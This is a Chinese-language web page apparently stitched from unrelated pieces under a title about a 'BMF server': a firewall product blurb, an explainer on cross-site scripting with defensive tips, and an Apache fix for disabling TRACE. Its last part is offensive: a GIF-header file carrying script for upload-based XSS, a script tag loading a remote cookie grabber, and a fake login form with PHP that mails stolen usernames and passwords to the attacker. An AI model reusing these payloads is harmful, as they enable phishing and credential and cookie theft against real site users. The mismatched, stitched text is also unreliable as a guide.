BMF伺服器的系統服務怎麼關
❶ 梭子魚BMFI420設備類型
設備類型為即時通訊防火牆，專為保護即時通訊安全而設計，功能強大，包括內部IM伺服器及IM網關功能，全面保護即時通訊環境。提供WEB管理界面，讓用戶可以輕松設定全局策略，監控IM關鍵字，實現安全的文件傳輸，支持IM通訊的免責聲明。此設備還具有LDP活動目錄支持，實現分組與分用戶的登陸控制，支持乙太網直聯模式，提供直接設備聯接管理。
設備的網路連接能力強勁，WAN連接為10/100Mbps，LAN連接同樣為10/100Mbps，確保高速的數據傳輸。通過WEB管理，用戶可以輕松配置和監控設備，實現高效、便捷的管理。設備兼容多種操作系統，如WINDOWS等，滿足不同用戶的使用需求。設備還提供了豐富的介面，包括1x10/100的網卡介面和1x10/100的網路直通介面，確保與各種網路環境的無縫連接。
綜上所述，這款即時通訊防火牆設備在即時通訊安全保護、管理便捷性、網路連接能力以及兼容性上都有出色表現，是用戶保護即時通訊安全的理想選擇。
❷ 跨站攻擊的如何防範
在你的WEB瀏覽器上禁用java腳本，具體方法，先打開你的IE的internet選項，切換到「安全」頁，有個「自定義」級別，點他出現如下窗口，禁用就可以了。但是好象不太可能，因為一旦禁用，很多功能就喪失了，這個方法是下策。
還有不要訪問包含〈〉字元的連接，當然一些官方的URL不會包括任何腳本元素。
如果你的站點程序含論壇，留言板，以及其他程序中含提交數據格式的，沒有很好過濾機制，請馬上下載升級程序或是停止使用ubb這樣的功能，避免造成更多的問題。
跨站腳本執行漏洞的成因，形式，危害，利用方式，隱藏技巧 這里所說的形式，實際上是指CGI輸入的形式，主要分為兩種：
1．顯示輸入
2．隱式輸入
其中顯示輸入明確要求用戶輸入數據，而隱式輸入則本來並不要求用戶輸入數據，但是用戶卻可以通過輸入數據來進行干涉。
顯示輸入又可以分為兩種：
1． 輸入完成立刻輸出結果
2． 輸入完成先存儲在文本文件或資料庫中，然後再輸出結果
注意：後者可能會讓你的網站面目全非！
而隱式輸入除了一些正常的情況外，還可以利用伺服器或CGI程序處理錯誤信息的方式來實施。 大家最關心的大概就要算這個問題了，下面列舉的可能並不全面，也不系統，但是我想應該是比較典型的吧。
1． 獲取其他用戶Cookie中的敏感數據
2． 屏蔽頁面特定信息
3． 偽造頁面信息
4．拒絕服務攻擊
5． 突破外網內網不同安全設置
6． 與其它漏洞結合，修改系統設置，查看系統文件，執行系統命令等
7． 其它
一般來說，上面的危害還經常伴隨著頁面變形的情況。而所謂跨站腳本執行漏洞，也就是通過別人的網站達到攻擊的效果，也就是說，這種攻擊能在一定程度上隱藏身份。 出於時間的考慮，我在這里將主要講一下理論了，相信不是很難懂，如果實在有問題，那麼去找本書看吧。
1． URL編碼
比較一下：
http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
你覺得哪個更有隱蔽性？！
2． 隱藏在其它對象之下
與直接給別人一個鏈接相比，你是否決定把該鏈接隱藏在按鈕以下更好些呢？
3． 嵌入頁面中
讓別人訪問一個地址（注意這里的地址不同於上面提到的URL），是不是又要比讓別人按一個按鈕容易得多，藉助於Iframe，你可以把這種攻擊變得更隱蔽。
4． 合理利用事件
合理使用事件，在某些情況上可以繞過CGI程序對輸入的限制，比如說前些日子的SecurityFocus的跨站腳本執行漏洞。 一般情況下直接進行類似alert(document.cookie)之類的攻擊沒有什麼問題，但是有時 CGI程序對用戶的輸入進行了一些處理，比如說包含在』』或」」之內，這時我們就需要使用一些小技巧來繞過這些限制。
如果你對HTML語言比較熟悉的話，繞過這些限制應該不成問題。 要避免受到跨站腳本執行漏洞的攻擊，需要程序員和用戶兩方面共同努力：
程序員：
1． 過濾或轉換用戶提交數據中的HTML代碼
2． 限制用戶提交數據的長度
用戶：
1． 不要輕易訪問別人給你的鏈接
2． 禁止瀏覽器運行JavaScript和ActiveX代碼
附：常見瀏覽器修改設置的位置為：
Internet Explorer：
工具->Internet選項->安全->Internet->自定義級別
工具->Internet選項->安全->Intranet->自定義級別
Opera：>文件->快速參數->允許使用Java
文件->快速參數->允許使用插件
文件->快速參數->允許使用JavaScript Q：跨站腳本執行漏洞在哪裡存在？
A：只要是CGI程序，只要允許用戶輸入，就可能存在跨站腳本執行漏洞。
Q：跨站腳本執行漏洞是不是只能偷別人的Cookie？
A：當然不是！HTML代碼能做的，跨站腳本執行漏洞基本都能做。
解決 ubuntu server 的跨站攻擊
apache 默認開啟了TRACE功能(TraceEnable=on)，Ubuntu Server也不例外。用x-scan掃描發現此功能存在存在跨站攻擊漏洞，並且提出了解決辦法，在配置文件中添加如下語句：
RewriteEngine on
RewriteCond % ^(TRACE|TRACK)
RewriteRule .* - [F]
問題是不知道該放那裡，找一天都沒發現。嘗試在/etc/apache2/httpd.conf里添加，怎麼都沒反應。網上一般就是打開虛擬機的 AllowOverride，然後在.htaccess文件中添加。但整個配置文件都可以修改，沒理由要這樣做......奇跡就發生在重啟的瞬間，竟然連不上伺服器。跑到實驗室發現，重啟正常，無奈之下竟發現還有一個sites-available的目錄，裡面的default文件才是所謂的配置文件，汗死...
添加後可通過 telnet 127.0.0.1 80 確認是否修復該漏洞，輸入：
TRACE / HTTP/1.1
Host: 202.192.33.250
X-Header: test
回車後返回：
HTTP/1.1 403 Forbidden
Date: Sun, 08 Oct 2006 11:32:11 GMT
Server: Apache/2.0.55 (Ubuntu) php/5.1.2
（註：windows的telnet默認沒有打開輸入回顯） 舉個例子,我們來新建一個hack.gif文件.然後用記事本打開文件,刪除所有的內容,然後寫入代碼
GIF89a<script>alert(XSS)</script>
保存退出.
上傳hack.gif到相就的地方...此時跨站發生
不要用Mozillia Firefox來訪問那張圖片,Mozillia 不會執行我們的alert.要用Internet explorer.
為什麼添加GIF89a ?
因為很多上傳程序會來檢查我們的gif文件是否包含 'GIF89a',如果包括則認為是gif文件.
code:GIF89a<script src=http://lovelaozang.cn/cookiegrabber.php></script>
我們需要知道一些其它格式圖片,頭部所包含的代碼.
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
為了安全不要僅僅只檢查getimagesize() 你是否明白什麼是釣魚？什麼是XSS？
在這個例子里，有必需找到一個易受攻擊的網站去XSS並注入那裡，身於一種形式，以自己直接在網址以下代碼
code:
<p>Enter your login and password, thank:</p>
<form action=http://hax0r.com/mail.php>
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
這個通過這個模仿的表單，然後利用mail.php通過電子郵件把表單里的數據發送給你。
code:
<!DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.0 Transitional//EN http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd>
<html xmlns=http://www.w3.org/1999/xhtml>
<head>
<meta http-equiv=Content-Type content=text/html; charset=iso-8859-1 />
<title>Error</title>
<style type=text/css>
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS[login];
$password = $HTTP_GET_VARS[password];
mail([email protected], Cookie stealed ! - thx xyli :), $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>
